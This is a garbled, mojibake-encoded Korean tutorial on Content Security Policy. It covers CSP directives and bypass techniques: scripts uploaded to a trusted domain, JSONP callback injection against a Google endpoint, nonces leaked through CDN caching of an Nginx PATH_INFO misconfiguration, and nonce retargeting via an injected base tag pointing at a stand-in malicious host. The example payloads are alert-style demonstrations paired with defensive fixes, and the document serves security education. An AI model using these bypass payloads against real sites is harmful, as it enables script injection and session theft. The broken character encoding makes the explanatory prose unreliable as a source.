CSP ์ฐํ
1. CSP
CSP (์ฝํ ์ธ ๋ณด์ ์ ์ฑ Content Security Policy)๋ XSS, clickjacking์ด๋ ๋ฐ์ดํฐ ์ฃผ์ ๊ณผ ๊ฐ์ ํน์ ์น์ฌ์ดํธ ๊ด๋ จ ๊ณต๊ฒฉ์ ํ์ง ํ๊ฑฐ๋ ์ํ ํ๊ธฐ ์ํด ์ฌ์ฉ๋๋ค.
CSP๋ฅผ ํ์ฑํํ๋ ค๋ฉด Content-Security-Policy HTTP ํค๋๋ฅผ ๋ฐํํ๋๋ก ์น ์๋ฒ๋ฅผ ๊ตฌ์ฑํด์ผ ํ๋ค.
Content-Security-Policy-Report-Only: policy
+) Content-Security-Policy-Report-Only ํค๋์ Content-Security-Policy ํค๋๊ฐ ๋ชจ๋ ๋์ผํ ์๋ต์ ์์ผ๋ฉด, ๋ ์ ์ฑ ์ ๋ชจ๋ ์ ์ฉ๋จ. ์ฆ, ๋๋ค ์ค์ ํ๋ฉด ํ์ฉ๋์ง ์์ ์์ฒญ์ด ๋ณด๋ด์ง์ง๋ ์๊ณ ๋ณด๊ณ ์๋ ๋ณด๋ด์ง. (๋ณด์ ๊ฐํ์ ํจ๊ณผ)
<meta> ํ๊ทธ๋ฅผ ํตํด ํ์ฑํํ๋ ๋ฐฉ๋ฒ๋ ์๋ค.
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; img-src https://*; child-src 'none';" />
CSP์ ์ฃผ์ ๋ชฉํ๋ XSS ๊ณต๊ฒฉ์ ๋ฐฉ์ดํ๋ ๊ฒ์ด๋ค.
XSS ๊ณต๊ฒฉ์ ์๋ฒ์์ ๋ฐ์ ์ฝํ ์ธ ๋ฅผ ๋ธ๋ผ์ฐ์ ๊ฐ ์ ๋ขฐํ๋ค๋ ์ ์ ์ ์ฉํ๋ค. ๋ธ๋ผ์ฐ์ ๋ ์ฝํ ์ธ ์ ์ถ์ฒ๋ฅผ ์ ๋ขฐํ๊ธฐ ๋๋ฌธ์ ์ฝํ ์ธ ๊ฐ ์ด์ํ ๊ณณ์์ ์ค๋๋ผ๋ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ํผํด์์ ๋ธ๋ผ์ฐ์ ์์ ์คํํ๋ ๊ฒ์ด๋ค.
CSP๋ฅผ ์ฌ์ฉํ๋ฉด ์๋ฒ ๊ด๋ฆฌ์๊ฐ ๋ธ๋ผ์ฐ์ ์์ ์คํ ๊ฐ๋ฅํ ์คํฌ๋ฆฝํธ์ ์ ํจํ ์์ค๋ก ๊ฐ์ฃผํด์ผ ํ๋ ๋๋ฉ์ธ์ ์ง์ ํ์ฌ XSS๊ฐ ๋ฐ์ํ ์ ์๋ ๋ฒกํฐ๋ฅผ ์ค์ด๊ฑฐ๋ ์ ๊ฑฐํ ์ ์๋ค.
์ฆ, ํ์ฉ๋ ๋๋ฉ์ธ์์ ๋ฐ์ ์์ค ํ์ผ์์ ๋ก๋๋ ์คํฌ๋ฆฝํธ๋ง ์คํํ๊ฑฐ๋ HTML ์์ฑ์ ํฌํจํ ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ ๋ฐ ์ด๋ฒคํธ ์ฒ๋ฆฌ ๋ฑ์ ๋ค๋ฅธ ๋ชจ๋ ์คํฌ๋ฆฝํธ๋ ๋ฌด์ํ ์ ์๋ค.
CSP ์ค์ ๊ณผ ๊ด๋ จ๋ ์ ๋ณด๋ ์๋ ๋งํฌ์์ ๋ ์์ธํ๊ฒ ํ์ธํด๋ณผ ์ ์๋ค.
https://content-security-policy.com/
Content-Security-Policy (CSP) Header Quick Reference
Content-Security-Policy is the name of a HTTP response header that modern browsers use to enhance the security of the document (or web page). The Content-Security-Policy header allows you to restrict which resources (such as JavaScript, CSS, Images, etc.)
content-security-policy.com
https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass
Content Security Policy (CSP) Bypass | HackTricks | HackTricks
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters! Hacking Insights Engage with content that delves into the thrill and challenge
book.hacktricks.xyz
2. CSP ์ ์ฑ
(1) ์น ์ฌ์ดํธ ๊ด๋ฆฌ์๋ ๋ชจ๋ ์ฝํ ์ธ ๊ฐ ์ฌ์ดํธ ์์ฒด์ ์ถ์ฒ(ํ์ ๋๋ฉ์ธ ์ ์ธ)์์ ์ค๋๋ก ํจ.
Content-Security-Policy: default-src 'self'
(2) ์ ๋ขฐํ ์ ์๋ ๋๋ฉ์ธ ๋ฐ ๋ชจ๋ ํ์ ๋๋ฉ์ธ์ ์ฝํ ์ธ ๋ฅผ ํ์ฉ (CSP๊ฐ ์ค์ ๋ ๋๋ฉ์ธ๊ณผ ๋์ผํ ํ์๋ ์์).
Content-Security-Policy: default-src 'self' example.com *.example.com
(3) ์น ์ ํ๋ฆฌ์ผ์ด์ ์ฌ์ฉ์์ ๋ชจ๋ ์๋ณธ์ ์ด๋ฏธ์ง๋ฅผ ํฌํจํ ์ ์๋๋ก ํ์ฉํ์ง๋ง ์ค๋์ค ๋๋ ๋น๋์ค ๋ฏธ๋์ด๋ ์ ๋ขฐํ ์ ์๋ ๊ณต๊ธ์๋ก ์ ํํ๊ณ ๋ชจ๋ ์คํฌ๋ฆฝํธ๋ ์ ๋ขฐํ ์ ์๋ ์ฝ๋๋ฅผ ํธ์คํ ํ๋ ํน์ ์๋ฒ๋ก๋ง ์ ํ
- ์ด๋ฏธ์ง๋ ์ถ์ฒ์ ์๊ด์์ด ๋ก๋ํ ์ ์์
- ๋ฏธ๋์ด๋ example.org ๋ฐ example.net์์๋ง ํ์ฉ๋๋ฉฐ ํด๋น ์ฌ์ดํธ์ ํ์ ๋๋ฉ์ธ์์๋ ํ์ฉ๋์ง ์์
- ์คํ ๊ฐ๋ฅํ ์คํฌ๋ฆฝํธ๋ userscripts.example.com์์ ์จ ๊ฒ๋ง ํ์ฉ
Content-Security-Policy: default-src 'self'; img-src *; media-src example.org example.net; script-src userscripts.example.com
(4) ์จ๋ผ์ธ ๋ฑ ํน ์ฌ์ดํธ์ ์น ์ฌ์ดํธ ๊ด๋ฆฌ์๋ ๊ณต๊ฒฉ์๊ฐ ์์ฒญ์ ๋์ฒญํ๋ ๊ฒ์ ๋ฐฉ์งํ๊ธฐ ์ํด ๋ชจ๋ ์ฝํ ์ธ ๊ฐ TLS๋ฅผ ์ฌ์ฉํ์ฌ ๋ก๋๋์๋์ง ํ์ธ
- ์๋ฒ๋ ๋จ์ผ ์ถ์ฒ์ธ onlinebanking.example.com์์ ํน๋ณํ HTTPS๋ฅผ ํตํด ๋ก๋๋๋ ๋ฌธ์์ ๋ํ ์ก์ธ์ค๋ง ํ์ฉ
Content-Security-Policy: default-src https://onlinebanking.example.com
(5) ์น ๋ฉ์ผ ์ฌ์ดํธ์ ์น ์ฌ์ดํธ ๊ด๋ฆฌ์๋ ์ ์ ๋ฉ์ผ์ HTML์ ํ์ฉํ๊ณ ์ด๋์์๋ ๋ก๋๋ ์ด๋ฏธ์ง๋ฅผ ํ์ฉํ๋ ค๊ณ ํ์ง๋ง JavaScript ๋๋ ๊ธฐํ ์ ์ฌ์ ์ผ๋ก ์ํํ ์ฝํ ์ธ ๋ ํ์ฉํ์ง ์์
- script-src๋ฅผ ์ง์ ํ์ง ์๊ณ , default-src ์ง์๋ฌธ์ ์ฌ์ฉ
- ์ฆ, ์๋ณธ ์๋ฒ์์๋ง ์คํฌ๋ฆฝํธ๋ฅผ ๋ก๋ํ ์ ์์
Content-Security-Policy: default-src 'self' *.example.com; img-src *
์ ์ฑ ๋ชฉ๋ก
default-src | -src๋ก ๋๋๋ ๋ชจ๋ ๋ฆฌ์์ค์ ๊ธฐ๋ณธ ๋์์ ์ค์ |
img-src | ์ด๋ฏธ์ง๋ฅผ ๋ก๋ํ ์ ์๋ ์ถ์ฒ ์ค์ |
script-src | Javascript ํ๊ทธ ๊ด๋ จ ๊ถํ๊ณผ ์ถ์ฒ ์ค์ |
style-src | ์คํ์ผ์ํธ ๊ด๋ จ ๊ถํ๊ณผ ์ถ์ฒ ์ค์ |
child-src | ํ์ด์ง ๋ด์ ์ฝ์ ๋ ํ๋ ์ ์ปจํ ์ธ ์ ๋ํ ์ถ์ฒ ์ค์ |
base-uri | ํ์ด์ง์ <base> ํ๊ทธ์ ๋ํ๋ ์ ์๋ URL์ ์ค์ |
object-src | Flash์ ๊ฐ์ ์ํํ ํ๋ฌ๊ทธ์ธ ๋นํ์ฑํ |
+ script-src directive
script-src-elem | <script> ์์๋ฅผ ์ง์ ํ์ง๋ง ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ ์ง์ x |
script-src-attr | ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ ์ง์ ํ์ง๋ง <script>์์์ ์ง์ ๋ก๋๋ URL์ ํฌํจx |
value
none | ๋ชจ๋ ์ถ์ฒ๋ฅผ ํ์ฉํ์ง ์์ |
self | Origin ๋ด์์ ๋ก๋ํ๋ ๋ฆฌ์์ค๋ง ํ์ฉ |
unsafe-inline | ์ธ๋ผ์ธ ์ฝ๋์ ์ฌ์ฉ์ ํ์ฉ |
unsafe-eval | eval๊ณผ ๊ฐ์ ํ ์คํธ-์๋ฐ์คํฌ๋ฆฝํธ ๋ณํ ๋ฉ์ปค๋์ฆ์ ์ฌ์ฉ์ ํ์ฉ |
nonce-<base64-value> | nonce ์์ฑ์ ์ค์ ํ์ฌ ์์ธ์ ์ผ๋ก ์ธ๋ผ์ธ ์ฝ๋๋ฅผ ์ฌ์ฉํฉ๋๋ค. <base64-value>๋ ๋ฐ๋์ ์์ฒญ๋ง๋ค ๋ค๋ฅธ ๋์ ๊ฐ์ผ๋ก ์ค์ ํด์ผ ํฉ๋๋ค. ํด๋น ์ถ์ฒ๋ฅผ ์ค์ ํ๋ฉด unsafe-inline ์ ๋ฌด์๋ฉ๋๋ค. ์์ ํ์ง ์์ ์ธ๋ผ์ธ ์ง์์ด๋ฅผ ์ฌ์ฉํ์ง ์๋๋ก ํ ์ ์์ต๋๋ค |
- ๋ชจ๋ ๋ฆฌ์์ค ์ถ์ฒ๋ฅผ origin์ผ๋ก ์ ํ
Content-Security-Policy: default-src 'self'
- baseํ๊ทธ์ ๋ชจ๋ ๊ฐ์ ํ์ฉํ์ง ์์
Content-Security-Policy: base-uri 'none'
- ์ธ๋ผ์ธ ์ฝ๋์ ์ฌ์ฉ์ ํ๊ฐ
Content-Security-Policy: script-src 'unsafe-inline'
3. CSP ์ฐํ
(1) ์ ๋ขฐํ๋ ๋๋ฉ์ธ์ ์ ๋ก๋
๋ง์ฝ ์ ๋ขฐํ๋ ์ถ์ฒ(๋๋ฉ์ธ)์์ ํ์ผ ์ ๋ก๋ ๋ฐ ๋ค์ด๋ก๋ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ค๋ฉด, ๊ณต๊ฒฉ์๋ ์ถ์ฒ์ ์คํฌ๋ฆฝํธ์ ๊ฐ์ ์์์ ์ ๋ก๋ํ ๋ค ๋ค์ด๋ก๋ ๊ฒฝ๋ก๋ก ์น ํ์ด์ง์ ์์์ ํฌํจ์ํฌ ์ ์๋ค.
<!--์ธ๋ถ ์์ ์
๋ก๋ ์์-->
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
...
<h1>๊ฒ์ ๊ฒฐ๊ณผ: <script src="/download_file.php?id=177742"></script></h1>
(2) JSONP API
JSONP๋?
JSONP(JSON with Padding)์ ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ ์๋ก ๋ค๋ฅธ ๋๋ฉ์ธ(Cross-Origin) ๊ฐ์ ๋ฐ์ดํฐ๋ฅผ ์ฃผ๊ณ ๋ฐ์ ๋ ์ฌ์ฉ๋๋ ๊ธฐ์ ์ด๋ค. JSONP๋ณด๋ค CORS๊ฐ ๊ถ์ฅ๋๋ ์ด์ ๋ JSONP์ ๊ฒฝ์ฐ๋ GET ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด์๋ง ์ ๋ฌ์ด ๋๋๋ฐ ๊ทธ๋ ๊ฒ ๋๋ฉด ๊ณต๊ฒฉ์์ ์ํด์ ์ฝ๊ฒ ์กฐ์์ด ๊ฐ๋ฅํ๋ค. ๋ฐ๋ผ์ ํ์ฉํ๋ ๊ต์ฐจ ์ถ์ฒ๋ง์ ์ง์ ํ ์ ์๋ CORS๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ์์ ํ๋ค.
๋ง์ฝ CSP์์ ํ์ฉํ ๋๋ฉ์ธ์์ JSONP API๋ฅผ ์ง์ํ๋ค๋ฉด, callback ํ๋ผ๋ฏธํฐ์ ์ํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ์ฌ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค.
์น ํ์ด์ง์์ *.google.com์์ ์จ ์ถ์ฒ๋ง ํ์ฉํ๋ค๊ณ ๊ฐ์ ํด๋ณด๋ฉด, ๊ณต๊ฒฉ์๋ ๊ตฌ๊ธ์์ JSONP API๋ฅผ ์ง์ํ๋ ์๋ฒ๋ฅผ ์ฐพ์ callback์ ์ํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ ์ ์๋ค.
JSONP API์ ์๋ก ์๋์ ๊ฐ์ Google Accounts ์๋น์ค๋ฅผ ๋ค ์ ์๋ค.
https://accounts.google.com/o/oauth2/revoke?callback=alert(1);
์ด๋ JSONP API๋ฅผ ์ ๊ณตํ๋ ์๋น์ค๋ ์ฝ๋ฐฑ ์ด๋ฆ์ ์๋ณ์๋ฅผ ์ ์ธํ ๋ฌธ์๋ฅผ ๊ฑฐ๋ถํจ์ผ๋ก์จ ์ด๋ฅผ ์ถ๊ฐ์ ์ผ๋ก ๋ฐฉ์ดํ ์ ์๋ค.
์ฆ, Google์ ์๋ฒ๋ ์ฝ๋ฐฑ ์ด๋ฆ์ผ๋ก alert(1);์ด ์ ํจํ์ง ์๋ค๊ณ ํ๋จํ๊ณ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ๋ฐํํ๋ ๊ฒ์ด๋ค.
๊ทธ๋ฌ๋ ๋ณด์์ ์ผ๋ก ๊ฐ๋ฅํ ๊ฒฝ์ฐ JSONP๋ณด๋ค๋ CORS๋ฅผ ์ง์ํ๋ API๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ์ข๋ค.
<!--CSP ์ค์ (๊ตฌ๊ธ)-->
<meta http-equiv="Content-Security-Policy" content="script-src 'https://*.google.com/'">
...
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1);"></script>
<!-- JSONP API ๊ฒฐ๊ณผ:
// API callback
alert(1);({
"error": {
"code": 400,
"message": "Invalid JSONP callback name: 'alert(1)'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
"status": "INVALID_ARGUMENT"
}
}
);
-->
(3) nonce ์์ธก ๊ฐ๋ฅ
CSP์ nonce๋ฅผ ์ด์ฉํ๋ฉด ๋ฐ๋ก ๋๋ฉ์ธ์ด๋ ํด์ ๋ฑ์ ์ง์ ํ์ง ์์๋ ๊ณต๊ฒฉ์๊ฐ ์์ธกํ ์ ์๋ nonce ๊ฐ์ด ํ๊ทธ ์์ฑ์ ์กด์ฌํ ๊ฒ์ ์๊ตฌํจ์ผ๋ก์จ XSS ๊ณต๊ฒฉ์ ๋ฐฉ์ดํ ์ ์๋ค.
์ด ๋ฐฉ์ด๋ฅผ ํจ๊ณผ์ ์ผ๋ก ์ฌ์ฉํ๊ธฐ ์ํด์๋ nonce ๊ฐ ๊ณต๊ฒฉ์๊ฐ ์ทจ๋ํ๊ฑฐ๋ ์์ธกํ ์ ์๋ ๊ฐ์ด์ด์ผ ํ๋ค.
Content-Security-Policy: script-src 'nonce-2726c7f26c'
....
<script nonce="2726c7f26c">
var inline = 1;
</script>
nonce ๊ฐ์ ๋ณดํต ์์ฒญ๋ง๋ค ์๋ก ์์ฑ๋๋๋ฐ, ๋ง์ผ ์ด๋ฅผ ์์ฑํ๋ ์๊ณ ๋ฆฌ์ฆ์ด ์ทจ์ฝํ์ฌ ๊ฐ์ ์์ธกํ ์ ์๋ค๋ฉด ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ์ ์ถํด ์์ ์ ์คํฌ๋ฆฝํธ๋ฅผ ์น ์ฌ์ดํธ์ ์ฝ์ ํ ์ ์๋ค.
nonce๋ฅผ ์ฌ์ฉํ ๋์๋ nonce ๊ฐ์ ๋ด๊ณ ์๋ HTTP ํค๋ ๋๋ <meta> ํ๊ทธ๊ฐ ์บ์ฑ๋์ง ์๋์ง ์ฃผ์ํด์ผ ํ๋ค.
PHP๋ CGI ๊ณ์ด ์คํฌ๋ฆฝํ ์ ์ฌ์ฉํ ๋์๋ ํนํ ์ฃผ์ํด์ผ ํ๋๋ฐ, ์ด๋ ์คํฌ๋ฆฝํธ๋ค์ด /index.php/style.css์ฒ๋ผ ๋ค์ ์ถ๊ฐ์ ์ธ ๊ฒฝ๋ก๋ฅผ ๋ถ์ฌ ์ ๊ทผ๋ ์ ์๊ธฐ ๋๋ฌธ์ด๋ค.
์น ์ฌ์ดํธ์์๋ ์ข ์ข ํน์ ํ์ผ๋ค์ ์บ์(์ฆ, ์์ ์ ์ฅ)ํ์ฌ ์น ํ์ด์ง๋ฅผ ๋ ๋น ๋ฅด๊ฒ ๋ก๋ํ ์ ์๋๋ก ํ๋ค. ์ด๋, ํ์ผ ํ์ฅ์(์: .css)๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ์ด๋ค ํ์ผ์ ์บ์ํ ์ง ๊ฒฐ์ ํ๋ ๊ฒฝ์ฐ๊ฐ ์๋ค. css ํ์ผ ๊ฐ์ ์ ์ ํ์ผ์ ๋ด์ฉ์ด ์์ฃผ ๋ณ๊ฒฝ๋์ง ์๊ธฐ ๋๋ฌธ์, ์ด๋ฐ ํ์ผ์ ๋ณดํต ์บ์์ ์ ์ฅ๋๋ค.
์บ์ฑ : https://learn.microsoft.com/ko-kr/azure/cdn/cdn-how-caching-works
์ด ๊ฒฝ์ฐ ์บ์๊ฐ ๋ง๋ฃ๋ ๋๊น์ง ์์ฒญ์๋ง๋ค ๊ฐ์ nonce๊ฐ ๋์์ค๊ธฐ ๋๋ฌธ์ ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ๋ฐํ์ผ๋ก nonce๋ฅผ ํ๋ํ ์ ์๋ค. ์ฝํ
์ธ ๊ฐ ์บ์๋์ด ์๋ฒ ์ธก XSS๊ฐ ์ผ์ด๋์ง๋ ์์ผ๋, DOM XSS ๋ฑ ํด๋ผ์ด์ธํธ ์ธก์์ ์ผ์ด๋ ์ ์๋ ๊ณต๊ฒฉ์ ์ทจ์ฝํด์ง๊ฒ ๋๋ค.
๋ํ, nonce ๊ฐ์ ๊ณต๊ฒฉ์๊ฐ ์์ธกํ ์ ์๋ ๋์๊ฐ์ด์ฌ์ผ ํ๊ธฐ ๋๋ฌธ์ ๋ณด์ ์ ์์ ํ ์์ฌ ๋์ ์์ฑ๊ธฐ(CSPRNG)๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ์ข๋ค. ๋ง์ผ ํ์ฌ ์๊ฐ(srand() / rand()) ๋ฑ ๊ณต๊ฒฉ์๊ฐ ์ ์ ์๋ ์ ๋ณด๋ฅผ ๋ฐํ์ผ๋ก nonce๋ฅผ ์์ฑํ๋ฉด ์๋ฏธ๊ฐ ์๋ค. ์ด๋ CSP ์ด์ธ์๋ ๋์๋ฅผ ์ฌ์ฉํ๋ ์์ฉ์์ ์ผ๋ฐ์ ์ผ๋ก ์ ์ฉ๋๋ ์ฌํญ์ด๋ค.
- Nginx์ PHP FastCGI SAPI(php-fpm) ์ฌ์ฉ ์์
location ~ \.php {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
- snippets/fastcgi-php.conf
# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+\.php)(/.+)$;
# Check that the PHP script exists before passing it
try_files $fastcgi_script_name =404;
# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;
fastcgi_index index.php;
include fastcgi.conf;
- fastcgi_split_path_info ^(.+\.php)(/.+)$;๋ ์์ฒญ๋ URI๋ฅผ PHP ํ์ผ ์ด๋ฆ๊ณผ ์ถ๊ฐ ๊ฒฝ๋ก ์ ๋ณด๋ก ๋ถํ ํ์ฌ ์บก์ฒ(์ ์ฅ)ํ๋ค. ์ด๋ PHP ํ์ผ ๋ค์ ์ถ๊ฐ์ ์ธ ๊ฒฝ๋ก ์ ๋ณด๊ฐ ์์ ๋ ์ฌ์ฉ๋๋ค.
- try_files $fastcgi_script_name =404;๋ ์์ฒญ๋ PHP ์คํฌ๋ฆฝํธ ํ์ผ์ด ์ค์ ๋ก ์กด์ฌํ๋์ง ํ์ธํ๊ณ , ํ์ผ์ด ์์ผ๋ฉด 404 ์ค๋ฅ๋ฅผ ๋ฐํํ๋ค.
- set $path_info $fastcgi_path_info;์ fastcgi_param PATH_INFO $path_info;๋ PATH_INFO ํ๊ฒฝ ๋ณ์๋ฅผ ์ค์ ํ์ฌ ์ถ๊ฐ ๊ฒฝ๋ก ์ ๋ณด๋ฅผ PHP ์คํฌ๋ฆฝํธ๋ก ์ ๋ฌํ๋ค.
์ด ์ค์ ๋๋ฌธ์ Nginx๋ ์์ฒญ๋ URL์ด PHP ํ์ผ๋ก ๋๋์ง ์๋๋ผ๋ URL ๋ด์ .php ํ์ผ์ด ํฌํจ๋์ด ์์ผ๋ฉด ํด๋น ํ์ผ์ ์คํํ๋ ค๊ณ ํ๋ค. dom_xss_vulnerable.php ํ์ผ๋ช ์ด .php๋ก ๋๋๊ธฐ ๋๋ฌธ์, Nginx๋ ์ด ํ์ผ์ ์คํ ๋์์ผ๋ก ํ๋จํ๊ณ PHP-FPM์ ์คํ์ ์์ฒญํ๋ค.
์ด๋, dom_xss_vulnerable.php ํ์ผ์ด ์คํ๋์ด nonce ๊ฐ <meta http-equiv="Content-Security-Policy" content="... nonce ..."> ํ๊ทธ๋ก ์ถ๋ ฅ๋๋ค.
CDN์ ๋ณดํต CSS ๋๋ ์คํฌ๋ฆฝํธ ๋ฑ ์ ์ ํ์ผ์ ์บ์ฑํ๊ธฐ ๋๋ฌธ์ meta ํ๊ทธ๋ก ์ถ๋ ฅ๋ nonce ๋ํ ๊ฐ์ด ์บ์ฑ๋๋ค.
๋ฐ๋ผ์ DOM XSS์ ์ทจ์ฝํ ํ์ด์ง์ nonce ๊ฐ์ด ๊ณ ์ ๋์ด ๊ณต๊ฒฉ์๋ ์๋์ ๊ฐ์ ๋งํฌ์ ์ ์ด์ฉํ ์ ์๋ค.
<script nonce="{๊ณ ์ ๋ nonce ๊ฐ}">alert(1);</script>
PATH_INFO ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ง ์๋ ๊ฒฝ์ฐ ํด๋น ์ค์ ์ location ~ \.php$์ฒ๋ผ URL์ ๋ ๋ถ๋ถ์ด .php์ผ๋๋ง FastCGI๋ก ๋์ด๊ฐ๊ฒ ์์ ๋์ด์ผ ํ๋ค. ๋ํ URL์ a/b.php/c/d.php์ ๊ฐ์ด .php๊ฐ ์ค๋ณต ์ฌ์ฉ๋ ๋๋ฅผ ๋๋นํ์ฌ fastcgi-php.conf ์ค๋ํซ์ ์ฌ์ฉํ์ง ์๊ณ ๋ค์๊ณผ ๊ฐ์ด ๋ณ๊ฒฝ๋์ด์ผ ํฉ๋๋ค.
location ~ \.php$ {
try_files $uri =404;
fastcgi_index index.php;
include fastcgi.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
- location ~ \.php$: ์ด ์ ๊ท ํํ์์ URL์ด .php๋ก ๋๋๋ ๊ฒฝ์ฐ์๋ง ํด๋น ๋ธ๋ก์ ์ค์ ์ ์ ์ฉํ๋๋ก ํ๋ค. ์ฆ, URL ๋๋ถ๋ถ์ .php๊ฐ ์ ํํ ์์นํ ๋๋ง ์ฒ๋ฆฌํ๋๋ก ์ ํ์ ๋๋ค. ์ด๋ ๊ฒ ํจ์ผ๋ก์จ, ์ค๊ฐ์ .php๊ฐ ์ฌ๋ฌ ๋ฒ ๋ฑ์ฅํ๋ URL์ ์ฌ๋ฐ๋ฅด๊ฒ ์ฒ๋ฆฌํ ์ ์๋ค.
- try_files $uri =404: ์ด ์ง์์ด๋ ์์ฒญ๋ URI๊ฐ ์ค์ ๋ก ์๋ฒ์ ์กด์ฌํ๋์ง๋ฅผ ํ์ธํฉ๋๋ค. ํ์ผ์ด ์กด์ฌํ์ง ์์ผ๋ฉด 404 ์ค๋ฅ๋ฅผ ๋ฐํํ๋ค. ์ด๋ ์๋ฒ๊ฐ ์๋ชป๋ ํ์ผ ๊ฒฝ๋ก์ ๋ํด PHP ์ฒ๋ฆฌ๋ฅผ ์๋ํ๋ ๊ฒ์ ๋ฐฉ์งํ๋ค.
- fastcgi_index index.php;: ์ด ์ค์ ์ ์์ฒญ์ด ๋๋ ํ ๋ฆฌ๋ก ๋ค์ด์์ ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์คํํ PHP ํ์ผ์ index.php๋ก ์ง์ ํ๋ค.
(4) base-uri ๋ฏธ์ง์
HTML ํ์ดํผ๋งํฌ์์ ํธ์คํธ ์ฃผ์ ์์ด ๊ฒฝ๋ก๋ฅผ ์ง์ ํ๋ฉด ๋ธ๋ผ์ฐ์ ๋ ํ์ฌ ๋ฌธ์๋ฅผ ๊ธฐ์ค์ผ๋ก ์ฃผ์๋ฅผ ํด์ํ๋ค.
HTML <base> ํ๊ทธ๋ ๊ฒฝ๋ก๊ฐ ํด์๋๋ ๊ธฐ์ค์ ์ ๋ณ๊ฒฝํ ์ ์๋๋ก ํ๋ฉฐ, <a>, <form> ๋ฑ์ target ์์ฑ์ ๊ธฐ๋ณธ ๊ฐ์ ์ง์ ํ๋๋ก ํ๋ค.
๋ง์ผ ๊ณต๊ฒฉ์๊ฐ <base href="https://attack/xss-proxy/">์ ๊ฐ์ ๋งํฌ์ ์ ์ฝ์ ํ๊ฒ ๋๋ค๋ฉด, ์ถํ ์๋ ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉํ๋ URL๋ค์ ๋ณธ๋ ์๋ํ ์์น๊ฐ ์๋ ๊ณต๊ฒฉ์์ ์๋ฒ์ ์์์ ๊ฐ๋ฆฌํค๊ฒ ๋์ด ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ํตํด ์์์ ์คํฌ๋ฆฝํธ ๋ฑ์ ์ฝ์ ํ ์ ์๊ฒ ๋๋ค.
base-uri์ ์์๋ก ์ง์ ํ์ง ์๋ ์ด์ default ์ด๊ธฐ ๊ฐ์ด ์กด์ฌํ์ง ์๋๋ค.
๋ง์ฝ ํ์ด์ง์ ์์ ๋งํฌ์ ์ ์ฝ์ ํ ์ ์๋ ์ทจ์ฝ์ ์ด ์์ง๋ง, nonce CSP ๊ตฌ๋ฌธ์ผ๋ก ์ธํด ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ ์ ์๋ค๊ณ ๊ฐ์ ํ ๋, base-uri CSP ๊ตฌ๋ฌธ์ ์ง์ ํ์ง ์์ ๊ฒฝ์ฐ ์๋์ ๊ฐ์ด base ํ๊ทธ๋ฅผ ์ด์ฉํ์ฌ ์์ ์์์ ๋ก๋ํ ์ ์๋ค.
์ด์ ๊ฐ์ ํํ์ ๊ณต๊ฒฉ์ Nonce Retargeting ์ด๋ผ๊ณ ํ๋ค.
<base href="https://malice.test">
<script src="/jquery.js" nonce=NONCE>
<!-- jquery.js๋ base ํ๊ทธ์ ์ํด https://malice.test/jquery.js๋ฅผ ๊ฐ๋ฆฌํต๋๋ค. -->
<base> ํ๊ทธ์ href ์์ฑ์ ์ฌ์ฉํ์ง ์๋ ํ์ด์ง๋ผ๋ฉด ์ด๋ฅผ ๋ฐฉ์ดํ๊ธฐ ์ํด csp๋ฅผ ํตํด ์๋์ ๊ฐ์ ์ ์ฑ ์ ์ค์ ํ ์ ์๋ค.
- base ํ๊ทธ์ URL ์ ํ
Content-Security-Policy: base-uri 'none'
์์ ์ธ๊ธํ๋ฏ์ด, base-uri์ ์์๋ก ์ง์ ํ์ง ์์ผ๋ฉด default ์ด๊ธฐ ๊ฐ์ด ์กด์ฌํ์ง ์๋๋ค.
๋ฐ๋ผ์ ์น ์๋น์ค๋ฅผ ๊ฐ๋ฐํ ๋์๋ ๋ฐ๋์ base-uri ์ง์๋ฌธ์ ์ ์ํด์ผ ํ๋ค.